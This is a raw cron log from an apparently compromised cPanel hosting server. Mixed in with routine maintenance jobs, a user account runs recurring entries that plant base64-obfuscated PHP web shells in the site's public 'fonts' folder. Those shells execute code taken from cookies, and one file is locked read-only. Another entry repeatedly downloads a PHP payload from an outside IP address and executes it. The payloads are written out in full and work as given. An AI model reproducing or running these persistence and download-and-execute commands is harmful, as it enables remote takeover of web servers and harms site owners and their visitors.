Sep 11 14:11:01 ip-184-168-122-23 CROND[16298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:12:01 ip-184-168-122-23 CROND[16400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:12:01 ip-184-168-122-23 CROND[16401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:12:01 ip-184-168-122-23 CROND[16404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:12:01 ip-184-168-122-23 CROND[16402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:12:01 ip-184-168-122-23 CROND[16406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:13:01 ip-184-168-122-23 CROND[16498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:13:01 ip-184-168-122-23 CROND[16500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:13:01 ip-184-168-122-23 CROND[16499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:13:01 ip-184-168-122-23 CROND[16501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:14:01 ip-184-168-122-23 CROND[16715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:14:01 ip-184-168-122-23 CROND[16717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:14:01 ip-184-168-122-23 CROND[16716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:14:01 ip-184-168-122-23 CROND[16720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:14:01 ip-184-168-122-23 CROND[16719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:15:01 ip-184-168-122-23 CROND[16837]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 14:15:01 ip-184-168-122-23 CROND[16838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:16:01 ip-184-168-122-23 CROND[16942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:16:01 ip-184-168-122-23 CROND[16944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:16:01 ip-184-168-122-23 CROND[16945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:16:01 ip-184-168-122-23 CROND[16947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:16:01 ip-184-168-122-23 CROND[16948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:16:01 ip-184-168-122-23 CROND[16950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:17:01 ip-184-168-122-23 CROND[17056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:17:01 ip-184-168-122-23 CROND[17055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:17:01 ip-184-168-122-23 CROND[17057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:17:01 ip-184-168-122-23 CROND[17058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:18:01 ip-184-168-122-23 CROND[17143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:18:01 ip-184-168-122-23 CROND[17144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:18:01 ip-184-168-122-23 CROND[17146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:18:01 ip-184-168-122-23 CROND[17147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:18:01 ip-184-168-122-23 CROND[17145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:19:01 ip-184-168-122-23 CROND[17335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:19:01 ip-184-168-122-23 CROND[17334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:19:01 ip-184-168-122-23 CROND[17336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:19:01 ip-184-168-122-23 CROND[17337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:20:01 ip-184-168-122-23 CROND[17463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:20:01 ip-184-168-122-23 CROND[17464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17461]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:20:01 ip-184-168-122-23 CROND[17467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:21:01 ip-184-168-122-23 CROND[17565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:21:01 ip-184-168-122-23 CROND[17567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:21:01 ip-184-168-122-23 CROND[17566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:21:01 ip-184-168-122-23 CROND[17564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:22:01 ip-184-168-122-23 CROND[17664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:22:01 ip-184-168-122-23 CROND[17666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:22:01 ip-184-168-122-23 CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:22:01 ip-184-168-122-23 CROND[17668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:22:01 ip-184-168-122-23 CROND[17669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:23:02 ip-184-168-122-23 CROND[17781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:23:02 ip-184-168-122-23 CROND[17783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:23:02 ip-184-168-122-23 CROND[17784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:23:02 ip-184-168-122-23 CROND[17785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:24:01 ip-184-168-122-23 CROND[17958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:24:01 ip-184-168-122-23 CROND[17962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
